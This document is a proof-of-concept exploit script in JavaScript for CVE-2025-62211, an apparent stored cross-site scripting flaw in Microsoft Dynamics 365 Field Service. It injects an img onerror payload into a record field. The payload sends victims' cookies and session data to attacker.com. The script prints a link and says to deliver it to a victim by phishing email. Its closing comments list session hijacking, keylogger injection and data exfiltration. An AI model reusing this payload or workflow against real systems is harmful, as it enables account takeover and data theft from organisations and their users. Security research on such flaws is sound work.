CVE-2025-62211 - Microsoft Dynamics 365 Field Service 跨站脚本漏洞

// CVE-2025-62211 PoC - Microsoft Dynamics 365 Field Service XSS // This PoC demonstrates the XSS vulnerability in Dynamics 365 Field Service // Note: This is for educational and authorized testing purposes only const axios = require('axios'); // Configuration const TARGET_URL = 'https://your-org.crm.dynamics.com'; const ATTACKER_TOKEN = 'your-low-privilege-access-token'; // XSS Payload - Malicious JavaScript to steal session data const xssPayload = ` <img src=x onerror=" fetch('https://attacker.com/steal?cookie=' + document.cookie + '&data=' + btoa(JSON.stringify({url: location.href, user: typeof UserContext !== 'undefined' ? UserContext : 'unknown'}))) "> `; // Step 1: Authenticate with low-privilege account async function authenticate() { const response = await axios.post(`${TARGET_URL}/api/auth/login`, { username: '[email protected]', password: 'user-password' }); return response.data.access_token; } // Step 2: Inject XSS payload into Dynamics 365 Field Service record async function injectPayload(accessToken) { // Target: Field Service Work Order or Asset record const headers = { 'Authorization': `Bearer ${accessToken}`, 'Content-Type': 'application/json' }; // Create or update a Field Service record with XSS payload const maliciousRecord = { 'msdyn_name': 'Test Asset', // Asset name field - injectable 'msdyn_description': xssPayload, // Description field with XSS 'msdyn_fieldtype': 'vulnerable-field' }; const response = await axios.post( `${TARGET_URL}/api/data/v9.2/msdyn_fieldservicerecords`, maliciousRecord, { headers } ); console.log('Malicious record created:', response.data); return response.data.id; } // Step 3: Generate social engineering link for victim function generateAttackLink(recordId) { // Link that will display the record containing XSS payload return `${TARGET_URL}/main.aspx?etn=msdyn_fieldservicerecord&id=${recordId}&pagetype=entityrecord`; } // Main execution (async () => { try { console.log('[*] Starting CVE-2025-62211 exploitation...'); const token = await authenticate(); console.log('[+] Authenticated successfully'); const recordId = await injectPayload(token); console.log('[+] XSS payload injected into record:', recordId); const attackLink = generateAttackLink(recordId); console.log('[+] Attack link for victim:', attackLink); console.log('[+] Send this link to victim via phishing email'); console.log('[*] When victim visits the link, XSS will execute and steal their session data'); } catch (error) { console.error('[-] Error:', error.message); } })(); // Exploitation impact: // 1. Session hijacking via document.cookie theft // 2. Credential theft via keylogger injection // 3. Data exfiltration from Dynamics 365 // 4. Actions performed in victim's context